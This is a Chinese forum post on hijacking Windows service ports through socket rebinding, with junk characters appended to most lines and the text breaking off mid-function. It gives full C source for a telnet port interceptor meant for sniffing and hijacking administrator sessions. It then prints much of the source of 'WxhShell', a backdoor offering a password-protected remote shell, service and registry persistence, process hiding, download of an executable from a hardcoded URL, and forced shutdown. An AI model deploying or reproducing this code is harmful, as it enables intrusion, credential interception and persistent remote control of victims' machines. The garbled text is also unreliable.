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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =Q# (2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LCSJIt  
$m-@ICG#  
  saddr.sin_family = AF_INET; I 'ha=PeVn  
{(d 6of`C_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7Zft]C?|@  
ayg^js2,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H@|m^1  
"`KT7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <`BDN  
F:Yp1Wrb<  
  这意味着什么?意味着可以进行如下的攻击: E]pD p /D  
.;dI&0Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "JgwL_2  
]0")iY_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (Kw%fJT  
Gl4f:`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F~GIfJU  
a!&<jM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~qE:Nz0@  
bc6|]kB:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &'m&'wDt:  
\XbCJJP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }?6gj%$c  
m-9ChF: U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m>DJ w7<  
0J .]`kR  
  #include |-]'~ @~  
  #include !3ji]q;uF  
  #include c`UizZ  
  #include    =_$Hn>vO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4SIS #m  
  int main() ^aqBL  
  { q3u:Tpn4%  
  WORD wVersionRequested; k P=~L=cK  
  DWORD ret; `cFNO:  
  WSADATA wsaData; g9F?j  
  BOOL val; iG{xDj{CKv  
  SOCKADDR_IN saddr; 6^,;^   
  SOCKADDR_IN scaddr; FD8d-G  
  int err; gS!zaD7Nr  
  SOCKET s; QRdh2YH`  
  SOCKET sc; P\$%p-G  
  int caddsize; \ Ju7.3.  
  HANDLE mt; PSU}fo  
  DWORD tid;   }4q1"iMlO  
  wVersionRequested = MAKEWORD( 2, 2 ); N3\vd_D(  
  err = WSAStartup( wVersionRequested, &wsaData ); T=[ /x=  
  if ( err != 0 ) { u y13SkW  
  printf("error!WSAStartup failed!\n"); U ?6.UtNf  
  return -1; 'On%p|s)H  
  } K#x|/b'5d  
  saddr.sin_family = AF_INET; WS\Ir-B  
   4@9xq<<5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o}Q3mCB  
*dx E (dP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6&"GTK  
  saddr.sin_port = htons(23); {Ok]$0L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -=2V4WU~  
  { -T>i5'2)  
  printf("error!socket failed!\n"); V17!~  
  return -1; Eu[/* t+l  
  } T@ zV   
  val = TRUE; rouaT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |u#7@&N1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z)<lPg!YAR  
  { &[5pR60  
  printf("error!setsockopt failed!\n"); O&@CT])8  
  return -1; ,3Aiz|v-  
  } sc y_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CWSc#E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UYhxgPGsj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1P G"IaOb  
SL`nt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lv<vMIr  
  { yg82a7D  
  ret=GetLastError(); ^MvBW6#1  
  printf("error!bind failed!\n"); !d1a9los  
  return -1; _W>xFBy  
  } HnKXO  
  listen(s,2); QVkrhwp  
  while(1) e. R9:  
  { ggy9euWV  
  caddsize = sizeof(scaddr); CsN^u H  
  //接受连接请求 di37   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1YtK+,mz  
  if(sc!=INVALID_SOCKET) lLS7K8;4W  
  { a: F\4x=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !iW> xo  
  if(mt==NULL) 8Y/1+-  
  { %m-U:H.Vp  
  printf("Thread Creat Failed!\n"); 8;x0U`}Ez(  
  break; T_fM\jdI  
  } +.QJZo_  
  } _[/#t|I}  
  CloseHandle(mt); H'&[kgnQ@  
  } /25Ay  
  closesocket(s); s133N?  
  WSACleanup(); 0xfF  
  return 0; 7\yh<?`V8  
  }   k +Cwnp  
  DWORD WINAPI ClientThread(LPVOID lpParam) &"^U=f@v  
  { `7R-2 w<b?  
  SOCKET ss = (SOCKET)lpParam; b8glZb*$  
  SOCKET sc; gKtgW&PYm  
  unsigned char buf[4096]; =X7_!vSv  
  SOCKADDR_IN saddr; $ByP 9=|  
  long num; a`>H69(bU  
  DWORD val; }ldpudU  
  DWORD ret; KC nm_4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6i@* L\ Dl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -s]@8VJA"  
  saddr.sin_family = AF_INET; /dHIm`. Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); } g%v<'K  
  saddr.sin_port = htons(23); \r"gqv)^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TQ=HFs ~  
  { 0B: v0 R  
  printf("error!socket failed!\n"); KtHkLYOCG  
  return -1; ]`M2Kwp  
  } ygQe'S{!S\  
  val = 100; pj7v{H+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1:J+`mzpl  
  { IL`=r6\  
  ret = GetLastError(); t8`wO+4@  
  return -1; ;*0?C'h=  
  } !@ {sM6U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -F MonM  
  { .h(iyCxP  
  ret = GetLastError(); 3cF8DNh  
  return -1; JX{_,2*$  
  } <>)N$$Rx&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _PSOT5{  
  { .br6x ^\<  
  printf("error!socket connect failed!\n"); 2OQ\ z;s  
  closesocket(sc); |#'n VN.;  
  closesocket(ss); kT:I.,N   
  return -1; nu(7Y YCM$  
  } o=Y'ns^a(  
  while(1) ]J@-,FFC  
  { D"%>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I5 qrHBJ >  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l]OzE-*$b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c=X+uO-  
  num = recv(ss,buf,4096,0); mhB2l/  
  if(num>0) ij;P5OA  
  send(sc,buf,num,0); 8|zOgn{  
  else if(num==0) c3r`T{Kf  
  break; AREjS $  
  num = recv(sc,buf,4096,0); s;$f6X  
  if(num>0) ` 46z D ?  
  send(ss,buf,num,0); f+8 QAvh  
  else if(num==0) 'gHg&E9E&  
  break; pTXF^:8  
  } ~H1<8py\J  
  closesocket(ss); -& =dl_m  
  closesocket(sc); @w`wJ*I4,  
  return 0 ; _*MK"  
  } EX#AJ>?V(  
]Y!x7  
V:vqt@  
========================================================== !F.h+&^D;  
PcqS#!t  
下边附上一个代码,,WXhSHELL eTuKu(0 E  
[FLR&=.(  
========================================================== I Zw  
:q?#$?  
#include "stdafx.h" e .~11bx  
ncMzHw  
#include <stdio.h> &} { #g  
#include <string.h> um}q@BU  
#include <windows.h> &BRa5`  
#include <winsock2.h> |Wjpnz  
#include <winsvc.h> cnI5 G!  
#include <urlmon.h> @bJIN]R  
-$DfnAh  
#pragma comment (lib, "Ws2_32.lib") v; R2,`[W  
#pragma comment (lib, "urlmon.lib") xiDgQTDz  
8;r#HtFM  
#define MAX_USER   100 // 最大客户端连接数 *0to,$ n  
#define BUF_SOCK   200 // sock buffer i;-M8Q^  
#define KEY_BUFF   255 // 输入 buffer v?Utz~lQ  
gu+zfvkcY  
#define REBOOT     0   // 重启  6su~SPh  
#define SHUTDOWN   1   // 关机 |<5F08]v  
6uT*Fg-G  
#define DEF_PORT   5000 // 监听端口 *mbzK*  
8QZI(Xe9r  
#define REG_LEN     16   // 注册表键长度 }YVF fi~  
#define SVC_LEN     80   // NT服务名长度 S0Q LM)  
E2d'P  
// 从dll定义API 8'%m!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G!;PV^6x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S_/S2(V"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cs7ol-\)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X-(4/T+v  
J=k=cFUX  
// wxhshell配置信息 -0x Q'1I  
struct WSCFG { x7U=1y(  
  int ws_port;         // 监听端口 XbB(<\0+  
  char ws_passstr[REG_LEN]; // 口令 iER@_?  
  int ws_autoins;       // 安装标记, 1=yes 0=no  tH44\~  
  char ws_regname[REG_LEN]; // 注册表键名  ,w3-*z  
  char ws_svcname[REG_LEN]; // 服务名 b^Re947{g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M/dgW` c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @uldD"MJ<]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [ 'lu;1-,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vg1J N"S[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )*>wa%[-q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !*Eu(abD  
\yC/OLXq  
}; 0o"aSCq8t  
#79[Qtkrhm  
// default Wxhshell configuration k$JOHru  
struct WSCFG wscfg={DEF_PORT, *LU/3H|}  
    "xuhuanlingzhe", q]I aRho  
    1, Dzf\m>H[  
    "Wxhshell", >%om[]0E  
    "Wxhshell", b%%r`j,'JE  
            "WxhShell Service", Cj<8r S4+  
    "Wrsky Windows CmdShell Service", tP7<WGHd/  
    "Please Input Your Password: ", t15{>>f4>  
  1, 0B7G:X0  
  "http://www.wrsky.com/wxhshell.exe",  d]`6N  
  "Wxhshell.exe" BEvY&3%l  
    }; bo/9k 4N3  
X<$Tn60,  
// 消息定义模块 @,TIw[p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jD6HCIjd'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]i$y;]f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4,z|hY_*t  
char *msg_ws_ext="\n\rExit."; VMRfDaO9  
char *msg_ws_end="\n\rQuit."; ds9 'k.  
char *msg_ws_boot="\n\rReboot..."; N=KtW?C  
char *msg_ws_poff="\n\rShutdown..."; XPO-u]<W  
char *msg_ws_down="\n\rSave to "; ]}XDDPbZ}  
$Gv@lZ@=  
char *msg_ws_err="\n\rErr!"; >kK@tJn  
char *msg_ws_ok="\n\rOK!"; ZBK0`7#&EH  
H3<tsK=:  
char ExeFile[MAX_PATH]; 8O9^g4?  
int nUser = 0; +w^,!gA&  
HANDLE handles[MAX_USER]; R ~kO5jpW  
int OsIsNt; jez0 A  
H.ksI;,  
SERVICE_STATUS       serviceStatus; uBx\xeI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $jg[6`L$  
#Az#_0=  
// 函数声明 L)J1yw  
int Install(void); u,So+%  
int Uninstall(void); LSou]{R  
int DownloadFile(char *sURL, SOCKET wsh); <VKJ+  
int Boot(int flag); -je} PwT  
void HideProc(void); L AasmQ  
int GetOsVer(void); b;UBvwY_  
int Wxhshell(SOCKET wsl); tfGs| x  
void TalkWithClient(void *cs); j'z#V_S  
int CmdShell(SOCKET sock); W_ `]7RO8  
int StartFromService(void); /)sP, 2/  
int StartWxhshell(LPSTR lpCmdLine); .EL3}6"A  
.i RKuBM/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +ig%_QED[\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lc{arhN  
@"MYq#2c$  
// 数据结构和表定义 M/=36{,w-  
SERVICE_TABLE_ENTRY DispatchTable[] = ,r w4Lo  
{ /B@{w-N  
{wscfg.ws_svcname, NTServiceMain}, LBCH7@V1yR  
{NULL, NULL} >nghFm  
}; S@HC$  
uI7n{4W*x  
// 自我安装 w~b:9_reY  
int Install(void) $:F+Nf 8  
{ OX]$Xdb2:  
  char svExeFile[MAX_PATH]; ,SR7DiYg  
  HKEY key; EVX3uC}{  
  strcpy(svExeFile,ExeFile); ju{Y6XJ)  
B-rE8 \  
// 如果是win9x系统,修改注册表设为自启动 b?i+nh qI  
if(!OsIsNt) { CvY+b^;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g %f5hy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *#XZ*Ga  
  RegCloseKey(key); '6dVe 2V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Snf_{A<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gM3:J:N  
  RegCloseKey(key); pXSShU#  
  return 0; 4=([v;fc  
    } 1P!)4W  
  } [P`e @$  
} mZR3Hl$  
else { #{q.s[g*+1  
d2`g,~d  
// 如果是NT以上系统,安装为系统服务 P"_/P8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RhE~-b[X  
if (schSCManager!=0) Ik0g(-d  
{ (?|M'gZ  
  SC_HANDLE schService = CreateService p"ytt|H  
  ( p0@^1  
  schSCManager, *H QcI-  
  wscfg.ws_svcname, u1%URen[x  
  wscfg.ws_svcdisp, ^9[Q;=R  
  SERVICE_ALL_ACCESS, 13X}pnW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7y'uZAF  
  SERVICE_AUTO_START, ^<CVQ8R7  
  SERVICE_ERROR_NORMAL, `pfIgryns  
  svExeFile, *U[yeE].  
  NULL, @Dh2@2`>  
  NULL, FOXSs8"c]!  
  NULL, LORcf1X/  
  NULL, ,2S!$M  
  NULL ]c/E7|0Q  
  ); 2FIL@f|\7z  
  if (schService!=0) y/Xs+ {x  
  { al9wNtMT  
  CloseServiceHandle(schService); Q1,sjLO-a  
  CloseServiceHandle(schSCManager); YExgUE|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l^lb ^"o  
  strcat(svExeFile,wscfg.ws_svcname); M|*YeVs9#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XIdh9)]^}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 32YbBGDN!f  
  RegCloseKey(key); [s( D==8  
  return 0; K;R H,o1  
    } l[/`kK  
  } _ox+5?>  
  CloseServiceHandle(schSCManager); b7QE  
} Za:j;u Y  
} gg/`{  
?_NKyiu95  
return 1; "hsT^sy  
} bF"l0 jS  
``-N2U5  
// 自我卸载 L'= \|r  
int Uninstall(void) .{V"Gn9!  
{ #CC5+  
  HKEY key; jc5[r;#  
')"+ a^c  
if(!OsIsNt) { CvoFt=c$jE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { npdljLN  
  RegDeleteValue(key,wscfg.ws_regname); 928_e)V  
  RegCloseKey(key); ue_wuZi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I^y<W%Et  
  RegDeleteValue(key,wscfg.ws_regname); UY',n,  
  RegCloseKey(key); _?tpO61g>  
  return 0; ax&?Z5%a  
  } /{^k8 Q  
} @Vm*b@  
} AFrJzh:V[  
else { xlI =)ak{  
PF%-fbh!~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ir9GgB  
if (schSCManager!=0) M et]|&  
{ F$7!j$ Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _'=,c"  
  if (schService!=0) 40t xZFQ0  
  { (\AN0_  
  if(DeleteService(schService)!=0) { --5F*a{R|  
  CloseServiceHandle(schService); [l23b{  
  CloseServiceHandle(schSCManager); q(KjhM  
  return 0; g>lZs  
  } ]S6Gz/4aV+  
  CloseServiceHandle(schService); ?KC(WaGJQ  
  } x)PW4{3qR  
  CloseServiceHandle(schSCManager); \9?[|m z  
} 5n@YNaoIb  
} 7UfNz60+~  
ZVjB$-do  
return 1; W XQ@kQD  
} X6HaC+P  
02-ql F@i  
// 从指定url下载文件 MEDh  
int DownloadFile(char *sURL, SOCKET wsh) / F0q8j0  
{ ^""edCs  
  HRESULT hr; Tc WCr  
char seps[]= "/"; QNNURf\[(  
char *token; -#v~;Ci  
char *file; V b0T)C  
char myURL[MAX_PATH]; y9:4n1fg  
char myFILE[MAX_PATH]; ( S[z  
d][ Wm  
strcpy(myURL,sURL); oZ'a}kF  
  token=strtok(myURL,seps); um2a#6uo  
  while(token!=NULL) p+d-7'?I  
  { x?h/e;  
    file=token; 9K+> ;`  
  token=strtok(NULL,seps); 5 UEZpxnv  
  } /v{+V/'+  
qN!oN*  
GetCurrentDirectory(MAX_PATH,myFILE); 9zp!lw~;+  
strcat(myFILE, "\\"); &,nv+>D  
strcat(myFILE, file); 1QoW/X'>.  
  send(wsh,myFILE,strlen(myFILE),0); Ew8@{X y  
send(wsh,"...",3,0); .~]|gg~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]eL# bJ  
  if(hr==S_OK) RTOA'|[0M  
return 0; fLDrit4_Q  
else !_Lmrs  
return 1; Sc<dxY@w7-  
v3-/ [-XB:  
} /$~1e7 W  
R N$vKJk  
// 系统电源模块 ,B <\a  
int Boot(int flag) +}:Z9AAMy  
{ S$mv(C  
  HANDLE hToken; !=[Y yh  
  TOKEN_PRIVILEGES tkp; q}{E![ZTu  
) c@gRb~  
  if(OsIsNt) { 5zl+M`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;4F6 $T'I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R/hf"E1  
    tkp.PrivilegeCount = 1; r4yz{^G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eM7@!CdA9q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f|d~=\0y  
if(flag==REBOOT) { \""^'pP@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ({uW-%  
  return 0; ]Ry9{:  
} NRRJlY S  
else { 59E9K)c3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I7ao2aS  
  return 0; 1Bytu >2  
} A  6(`  
  } dY1t3@E  
  else { "hIYf7r##  
if(flag==REBOOT) { g4?2'G5m?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Oa[  
  return 0; %|-N{>wKy  
} cO?*(e1m=  
else { 74%vNKzc~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~1G^IZ6  
  return 0; ptCF))Zm'  
} \:vF FK4a  
} WogUILB  
Y{Z&W9U  
return 1; 8v$q+Wic  
} E0Wc8m"  
T7[@ lMa?  
// win9x进程隐藏模块 O NabL.CV  
void HideProc(void) hx$]fvDevD  
{ J)|3jbX"I]  
Y>x{ [er  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @*;x1A-]V  
  if ( hKernel != NULL ) wkg4I.  
  { |#Gxqq'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -gn0@hS0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !=9x=  
    FreeLibrary(hKernel); so-5%S  
  } g"-j/ c   
K@.5   
return; Cfi{%,em  
} Jh"[ug  
oo'9ZE/%  
// 获取操作系统版本 = 0 ~4k#  
int GetOsVer(void) )nN!% |J  
{ GS;GJsAs  
  OSVERSIONINFO winfo; pc`P;Eui  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /}:{(Go  
  GetVersionEx(&winfo); !(d] f0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %YG?7PBB  
  return 1; LjZlKB5C  
  else EP>u%]#  
  return 0; t{k:H4  
} kWzp*<lWe  
~ 'ZwD/!e  
// 客户端句柄模块 dSDZMB sd  
int Wxhshell(SOCKET wsl) u8f\)m  
{ \0\O/^W0  
  SOCKET wsh; >S5J^c  
  struct sockaddr_in client; +k`L8@a3&  
  DWORD myID; } z'Jsy[s  
De$~ *2  
  while(nUser<MAX_USER) (5T>`7g8  
{ 2?,Jn&i5  
  int nSize=sizeof(client); m6Dm1'+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TmgC {_  
  if(wsh==INVALID_SOCKET) return 1; r)<A YX]J  
OUv)`K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (4H\ho8+mp  
if(handles[nUser]==0) SioeIXU  
  closesocket(wsh); J=A)]YE  
else [S6u:;7  
  nUser++; fUw:jE xz  
  } *byUqY3(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i?T-6{3I  
Q 3WD!Z8y  
  return 0; cU;Bm}U  
} w2B)$u  
wNa5qp 0  
// 关闭 socket =!TUf/O-  
void CloseIt(SOCKET wsh) L>Y+}]~  
{ C[FHqo9M?H  
closesocket(wsh); Ym'h vK  
nUser--; 8h] TI_  
ExitThread(0); f&-`+V}U  
} 1]xmOx[mb  
n_kwtWX(  
// 客户端请求句柄 \8CCa(H  
void TalkWithClient(void *cs) >}SEU-7&\  
{ GcO2oq  
`KQx#c>'  
  SOCKET wsh=(SOCKET)cs; {B$CqsvJ  
  char pwd[SVC_LEN]; 80nEQT y  
  char cmd[KEY_BUFF]; 7L~ *%j  
char chr[1]; :WB uU  
int i,j; '#Wx@  
V]zZb-m=  
  while (nUser < MAX_USER) { XYU5.  
V.B@@ ;  
if(wscfg.ws_passstr) { 6uE20O<z]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C'#KTp4!1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :zL)O  
  //ZeroMemory(pwd,KEY_BUFF); ,{*g Q%7  
      i=0; QE]'Dc%  
  while(i<SVC_LEN) { 3lF"nv  
(cj9xROx  
  // 设置超时 J|W E&5'  
  fd_set FdRead; '| H+5#  
  struct timeval TimeOut; V60L\?a  
  FD_ZERO(&FdRead); ]B/> =t"E  
  FD_SET(wsh,&FdRead); ,dRaV</2  
  TimeOut.tv_sec=8; #Y5k/NPg  
  TimeOut.tv_usec=0; e#[Klh$]EW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _c-3eQ1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /k'7j*t Z  
^Iw$ (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3?o4  
  pwd=chr[0]; < $zJi V  
  if(chr[0]==0xd || chr[0]==0xa) { SaPE 1^}  
  pwd=0; v,")XPY  
  break; (3n "a'  
  } x80IS:TP  
  i++; t}+/GSwT  
    } Q}#Je.;  
sVyV|!K  
  // 如果是非法用户,关闭 socket aUw-P{zp%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xmg3,bO  
} wfo,r 7  
NQ{(G8x9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H07\z1?.K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +M"j#H  
&%OY"Y~bI!  
while(1) { ]-gyXE1.r  
B4.: 9Od3  
  ZeroMemory(cmd,KEY_BUFF); }`qAb/Ov  
K<P d.:  
      // 自动支持客户端 telnet标准   SAP/jD$5]>  
  j=0; ]}3s/NJi  
  while(j<KEY_BUFF) { 5Zq hyv=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BqNsW (+  
  cmd[j]=chr[0]; XPdmz!,b  
  if(chr[0]==0xa || chr[0]==0xd) { |5 V0_79  
  cmd[j]=0; W3le)&  
  break; V\`Z|'WIQD  
  } Im;%.J  
  j++; i$NlS}W  
    } {SV/AN  
C hF~  
  // 下载文件 wQSan&81Q  
  if(strstr(cmd,"http://")) { "D'e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KlT:&1SB9  
  if(DownloadFile(cmd,wsh)) 4)gG_k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &N^j }^ Z  
  else h%/BZC^L]|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i.mv`u Dm  
  } }Ulxt:}   
  else { vhBW1/w&F  
D, ")n75  
    switch(cmd[0]) { SA TX_  
  @f-:C+(Nsg  
  // 帮助 Mq\=pxC@  
  case '?': { +4 k=Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]y@A=nR  
    break; _ /1/{  
  } c {= ; lT  
  // 安装 3L&:  
  case 'i': { WZ'Z"'  
    if(Install()) (4FVemgy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ei5YxV6I  
    else 6=f)3!=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZ-~F/:c%  
    break; 0=>$J WF  
    } cC-8.2  
  // 卸载 72, m c  
  case 'r': { Tri\5O0lPs  
    if(Uninstall()) T<n`i~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  {b!{~q  
    else YdhV a!Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 - 3?&+  
    break; 'C5id7O&  
    } h7#\]2U$[5  
  // 显示 wxhshell 所在路径 <q7o"NI6FZ  
  case 'p': { T]\1gs41  
    char svExeFile[MAX_PATH]; V#Wy` ce  
    strcpy(svExeFile,"\n\r"); VukbvBWPN  
      strcat(svExeFile,ExeFile); $M}"u [Qq  
        send(wsh,svExeFile,strlen(svExeFile),0); -_ 9k+AV  
    break; ]W3_]N 3  
    } *q6XK_  
  // 重启 X7$]qE K  
  case 'b': { t=Oq<r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PaKa bPY  
    if(Boot(REBOOT)) p)SW(pS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mOJdx-q?r  
    else { BeUyt  
    closesocket(wsh); ] hT\"5&6  
    ExitThread(0); {.LJ(|(Mz  
    } cM%?Ot,mK"  
    break; _%CM<z e  
    } y_9\07va<  
  // 关机 H q6%$!q  
  case 'd': { v-#,@&Uwq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?-j/X6(\(  
    if(Boot(SHUTDOWN)) <,:{Q75  
